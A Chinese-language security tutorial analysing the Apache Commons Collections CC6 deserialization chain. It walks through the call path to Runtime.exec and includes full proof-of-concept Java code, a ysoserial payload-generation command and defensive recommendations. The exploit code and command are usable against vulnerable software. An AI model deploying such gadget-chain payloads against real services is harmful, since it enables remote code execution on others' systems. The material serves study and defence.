TiedMapEntry结合ChainedTransformerInvokerTransformer进行任意方法调用
字数 1267 2025-08-11 00:55:05
Apache Commons Collections反序列化漏洞利用分析(CC6链)
漏洞概述
本教学文档详细分析Apache Commons Collections库中的反序列化漏洞利用链(CC6链),该链通过TiedMapEntry和ChainedTransformer结合InvokerTransformer实现任意方法调用,最终可导致远程代码执行。
前置知识
- CC1链在低版本Java中无法成功执行
- 本链(CC6)可以在高版本Java中成功利用
- 核心是利用
LazyMap#get()方法触发恶意代码执行
利用链分析
完整调用链如下:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
关键点分析
-
TiedMapEntry类:
getValue()方法调用了get()方法hashCode()方法调用了getValue()方法
-
HashMap类:
hash()方法中对key对象调用了hashCode()方法readObject()方法中也有hash()的调用
POC编写步骤
1. 构造Transformer链
// 防止本地调试时触发命令的假Transformer
Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
// 真实的恶意Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Class[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
2. 创建LazyMap
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
3. 创建TiedMapEntry并触发
// 实例化TiedMapEntry
TiedMapEntry tme = new TiedMapEntry(outMap, "key");
// 创建HashMap并将TiedMapEntry作为key
Map expMap = new HashMap();
expMap.put(tme, "value");
// 关键步骤:移除key值,防止提前触发
outMap.remove("key");
4. 设置真实Transformer链
// 通过反射设置真实的Transformer链
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
5. 序列化和反序列化
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 反序列化触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
调试分析
关键问题
-
为什么需要移除key值:
- 在POC中,
TiedMapEntry tme = new TiedMapEntry(outMap, "key")构造时没有修改Map - 当
tme作为键名传入expMap时,HashMap的put方法会调用hash()和hashCode() - 这导致在生成payload时就调用了利用链,并在Map中创建了key值
- 反序列化时无法进入
get方法的if语句,导致命令无法执行
- 在POC中,
-
解决方案:
- 通过
outMap.remove("key")移除key值 - 确保反序列化时可以进入
get方法的if语句
- 通过
ysoserial工具使用
生成payload命令:
java -jar ysoserial.jar CommonsCollections6 "calc" > CC6.ser
反序列化过程分析
ObjectInputStream.readObject()开始反序列化- 进入
HashMap.readObject() - 调用
HashMap.hash() - 对key(
TiedMapEntry对象)调用hashCode() TiedMapEntry.hashCode()调用getValue()TiedMapEntry.getValue()调用LazyMap.get()LazyMap.get()触发ChainedTransformer.transform()- 通过
InvokerTransformer链最终执行命令
防御建议
- 升级Apache Commons Collections到安全版本
- 使用Java反序列化过滤器
- 避免不可信数据的反序列化
总结
CC6链通过TiedMapEntry和LazyMap的结合,利用Java反序列化机制实现了任意代码执行。理解此漏洞链有助于更好地防御类似的反序列化漏洞。